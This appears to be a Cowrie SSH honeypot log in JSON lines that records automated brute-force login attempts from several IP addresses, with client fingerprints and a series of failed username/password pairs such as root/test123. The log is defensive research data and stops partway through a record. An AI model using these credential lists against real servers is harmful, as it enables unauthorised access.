{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42692,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04ca233eb83","protocol":"ssh","message":"New connection: 160.187.174.22:42692 (159.203.135.109:22) [session: b04ca233eb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:00.398582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:00.444625Z","src_ip":"160.187.174.22","session":"b04ca233eb83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:00.635973Z","src_ip":"160.187.174.22","session":"b04ca233eb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:00.890998Z","src_ip":"91.92.40.153","session":"0b3b21314734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:01.558918Z","src_ip":"160.187.174.22","session":"b04ca233eb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:02.798285Z","src_ip":"160.187.174.22","session":"b04ca233eb83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:03.081863Z","src_ip":"139.99.74.35","session":"8901b4212ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40908,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0602218e01","protocol":"ssh","message":"New connection: 139.99.74.35:40908 (159.203.135.109:22) [session: 4c0602218e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:03.316864Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60740,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc86ae78f2c0","protocol":"ssh","message":"New connection: 91.92.40.153:60740 (10.17.0.5:22) [session: fc86ae78f2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:04.929903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:05.086810Z","src_ip":"91.92.40.153","session":"fc86ae78f2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:05.089987Z","src_ip":"91.92.40.153","session":"fc86ae78f2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:05.966290Z","src_ip":"91.92.40.153","session":"fc86ae78f2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:07.295385Z","src_ip":"91.92.40.153","session":"fc86ae78f2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48668,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba96b1998b2","protocol":"ssh","message":"New connection: 147.45.199.80:48668 (10.17.0.5:22) [session: eba96b1998b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:07.648084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:07.652499Z","src_ip":"147.45.199.80","session":"eba96b1998b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:07.755297Z","src_ip":"147.45.199.80","session":"eba96b1998b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200679","message":"login attempt [root/200679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:08.067609Z","src_ip":"147.45.199.80","session":"eba96b1998b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:08.086620Z","src_ip":"139.99.74.35","session":"4c0602218e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":56654,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d225abafbca","protocol":"ssh","message":"New connection: 139.99.74.35:56654 (159.203.135.109:22) [session: 3d225abafbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:08.320251Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:09.169530Z","src_ip":"147.45.199.80","session":"eba96b1998b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60852,"dst_ip":"10.17.0.5","dst_port":22,"session":"110f59bb15b7","protocol":"ssh","message":"New connection: 91.92.40.153:60852 (10.17.0.5:22) [session: 110f59bb15b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:10.849970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:11.118387Z","src_ip":"91.92.40.153","session":"110f59bb15b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:11.121552Z","src_ip":"91.92.40.153","session":"110f59bb15b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:12.662115Z","src_ip":"91.92.40.153","session":"110f59bb15b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:13.103433Z","src_ip":"139.99.74.35","session":"3d225abafbca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":56670,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe22cdb4d61a","protocol":"ssh","message":"New connection: 139.99.74.35:56670 (159.203.135.109:22) [session: fe22cdb4d61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:13.327702Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:14.483678Z","src_ip":"91.92.40.153","session":"110f59bb15b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37340,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8c15de3d492","protocol":"ssh","message":"New connection: 91.92.40.153:37340 (10.17.0.5:22) [session: b8c15de3d492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:16.743081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:17.164040Z","src_ip":"91.92.40.153","session":"b8c15de3d492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:17.168629Z","src_ip":"91.92.40.153","session":"b8c15de3d492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.132.164.82","src_port":42513,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7b077e1a1a","protocol":"ssh","message":"New connection: 115.132.164.82:42513 (10.17.0.5:22) [session: 0f7b077e1a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:17.735840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:17.738885Z","src_ip":"115.132.164.82","session":"0f7b077e1a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:17.991697Z","src_ip":"115.132.164.82","session":"0f7b077e1a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:18.097313Z","src_ip":"139.99.74.35","session":"fe22cdb4d61a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47322,"dst_ip":"159.203.135.109","dst_port":22,"session":"b19652c610c6","protocol":"ssh","message":"New connection: 139.99.74.35:47322 (159.203.135.109:22) [session: b19652c610c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:18.340427Z"}
{"eventid":"cowrie.login.failed","username":"us","password":"123456","message":"login attempt [us/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:19.027081Z","src_ip":"115.132.164.82","session":"0f7b077e1a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:19.657265Z","src_ip":"91.92.40.153","session":"b8c15de3d492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:20.281950Z","src_ip":"115.132.164.82","session":"0f7b077e1a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:21.055975Z","src_ip":"91.92.40.153","session":"b8c15de3d492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:23.139918Z","src_ip":"139.99.74.35","session":"b19652c610c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38686,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3062f76411e","protocol":"ssh","message":"New connection: 91.92.40.153:38686 (10.17.0.5:22) [session: b3062f76411e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:23.214946Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47328,"dst_ip":"159.203.135.109","dst_port":22,"session":"8951b5aa70e8","protocol":"ssh","message":"New connection: 139.99.74.35:47328 (159.203.135.109:22) [session: 8951b5aa70e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:23.378647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:23.967314Z","src_ip":"91.92.40.153","session":"b3062f76411e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:23.970244Z","src_ip":"91.92.40.153","session":"b3062f76411e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:26.325902Z","src_ip":"91.92.40.153","session":"b3062f76411e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54990,"dst_ip":"159.203.135.109","dst_port":22,"session":"83d1925e224c","protocol":"ssh","message":"New connection: 160.187.174.22:54990 (159.203.135.109:22) [session: 83d1925e224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:26.390148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:26.394573Z","src_ip":"160.187.174.22","session":"83d1925e224c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nist